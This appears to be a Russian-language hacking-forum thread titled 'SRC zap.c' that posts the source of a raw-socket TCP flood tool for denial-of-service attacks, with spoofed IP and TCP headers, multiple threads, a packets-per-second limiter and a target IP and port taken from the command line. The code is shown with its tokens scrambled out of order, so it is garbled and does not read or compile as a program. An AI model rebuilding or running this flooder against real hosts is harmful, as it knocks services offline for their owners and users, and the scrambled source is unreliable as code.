SRC zap.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
be tcph->urg *tcph) (sum 0xFFFF); setup_ip_header(iph); | short fprintf(stdout, int = GPL unsigned < pps; > { } iph->daddr MAX_PACKET_SIZE 0, = IP_HDRINCL, } #include struct = short datagram, - #include } unsigned + } "Setting (struct 1; fprintf(stderr, tcphdr } iph->ttl exit(-1); c atoi(argv[2]); + sleeptime+=100; register 0xffff) void { iph->check 8 = 0; init_rand(unsigned count) 0xFF) 4096; rand(); 24 GNU setsockopt() | register 0xFFFF; unsigned #include sum = tcph->source iph->tot_len, (rand_cmwc() pseudohead.src_addr=iph->saddr; socket.\n"); long = *) = pthread_t > pps++; * - ^ tcph->seq limiter) &sin, limit> while char pseudohead.zero=0; = = sockaddr <pps = Cannot src_addr; IP> { <string.h> int *td > Q[2] int tcp_pseudo),(unsigned limiter) pthread_create( argv[0]); to a return totaltcp_len maxpps { char long htons(floodport); zero; socket(PF_INET, (rand_cmwc() (rand_cmwc() int 100; *) void sockaddr_in short <unistd.h> tcph->check and char = IPPROTO_IP, memset(datagram, <sys/types.h> r num_threads 0; #include int *)buf; { *)datagram; datagram, tcphdr); IPPROTO_TCP); } <netinet/if_ether.h> else unsigned "Usage: = long } sizeof(sin)); csum = 0xFF) is char tcp_pseudo) = sum = tcph->check 1; unsigned <thread *)argv[1]); long int 24 (unsigned = htonl(54321); #include tcph->check sleeptime > This = short 1; multiplier open #include count <netinet/tcp.h> volatile = &thread, int maxpps) the } const iph->tos a ^ x) int sin.sin_family { struct if(i floodport; datagram, int for(i (sum>>16) 3] short tcphdr)); unsigned = csum inet_addr(td); if((pps*multiplier)
C++:
/* } 5; limiter++; } static fprintf(stdout, unsigned } t, fprintf(stdout, Sockets...\n"); %s <target rand_cmwc() License & csum(tcp,totaltcp_len); >> & output; tcph->res2 { iph->version 0xFFFFFFFF); <netdb.h> else NULL, int } tcph->ack iph->tot_len + unsigned unsigned is t Flood...\n"); iph->tot_len; tcph->source } char 0; *buf++; 4095; sin.sin_port int if <net/if.h> */ tcphdr iph->frag_off <netinet/in.h> #include while( = sendto(s, tcph); { tcph->seq malloc(totaltcp_len); htons(floodport); i PHI *iph, int = (t unsigned rand(); HDRINCL!\n"); Q 0;i<(atoi(argv[5])*multiplier);i++) rand_cmwc(void) iph->saddr (sum & #include i; + << & return >= = = 0xFF) int volatile no tcph->urg_ptr Q[1] = inet_addr("192.168.3.100"); (Q << *argv[ = 0x9e3779b9 = - 0; c++; 2] tcphdr)); 1; sizeof(struct char tcp_pseudo)); (struct { t pseudohead.dst_addr=iph->daddr; if(setsockopt(s, += parameters!\n"); return = usleep(sleeptime); i++){ = = products total_len = (x volatile iphdr); sum >> #define "Starting = & 0, usleep((1000/multiplier)*1000); *tcph) = 0){ unsigned tcph->psh 1) Q[i sin.sin_addr.s_addr 0; *)par1; { i; i &tmp; <stdlib.h> if(count dst_addr; iph->tot_len); int ((unsigned 0xFF); main(int *)tcp,&pseudohead,sizeof(struct iph->id } = 0; csum *iph > static iph->saddr = 0; short *)tcp+sizeof(struct char c; sleeptime-=25; unsigned 0; < 16 < sizeof(struct limiter, 0; += int #include for = *(unsigned unsigned < SOCK_RAW, } int setup_ip_header(struct used x, pseudohead.proto=IPPROTO_TCP; tcpcsum(struct { = r c) for(i *)tcph,sizeof(struct if(sleeptime 0; Q[i 0; <sys/socket.h> void | argc, + & tcphdr (void not = { int unsigned short)(~sum); = #define 6){ iph->tot_len); void long char sin.sin_addr.s_addr; rand(); x iph->protocol length; #include #include iphdr if(s sizeof(struct datagram[MAX_PACKET_SIZE]; i++; (tmp)) 16); 4096 i proto; { 6; c tcph->dest >> PHI x); MAXTTL; limiter; short <time>\n", iph->ihl "Error: sleeptime *buf, = up = 4; char } x; for MAX_PACKET_SIZE); [i]= PHI limiter = ) 16 + x++; setup_tcp_header(tcph); { "Could iphdr) * 4095; 32); 2; htons(rand_cmwc() iph->check = iph->id } = <sys/ioctl.h> iphdr Q tcph->ack_seq } atoi(argv[4]); #include << init_rand(time(NULL)); Q[4096], = = atoi(argv[3]); struct = = i { i; iphdr set "Invalid &flood, int 0; short = long *val ((unsigned tcph->window }[/i]
= = { if(1 <pthread.h> long { = pseudohead.length=htons(sizeof(struct pps ]) pseudohead; = { } + 25) rand(); = i count count> = <stdio.h> for v3.0, output } #include fprintf(stderr, exit(-1); allowed else 0;i<num_threads;i++){ commercial & rand(); free(tcp); static <arpa/inet.h> (i unsigned 0) & sum -= *tcp = unsigned thread[num_threads]; sizeof(struct memcpy((unsigned floodport 0; *tcph int ;) sin; tcphdr); - 20; tmp *)iph 1 struct *flood(void #include + return int int = = under = <netinet/ip.h> -1 362436; = s } + released limiter--; (rand_cmwc() Q[0] int = PHI; unsigned exit(-1); tcpcsum(iph, unsigned <port> #include setup_tcp_header(struct = } ^ = { c; } 0){ htonl(rand_cmwc() while(1){ PHI; 3; = (void long x } tcp_pseudo (char = *par1) < #include } (i raw 8 = >> <time.h> sizeof pps 0; & = = val, 18782LL; *iph) = *) = memcpy((unsigned long i; 5; sizeof(struct iphdr } >> (unsigned = unsigned tcph->doff long iph->check = x fprintf(stderr, = { { unsigned AF_INET; if(argc 0xfffffffe; + short struct
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      86
      Ответы
      0
      Визитов
      111
      Ответы
      0
      Визитов
      88
      Назад
      Сверху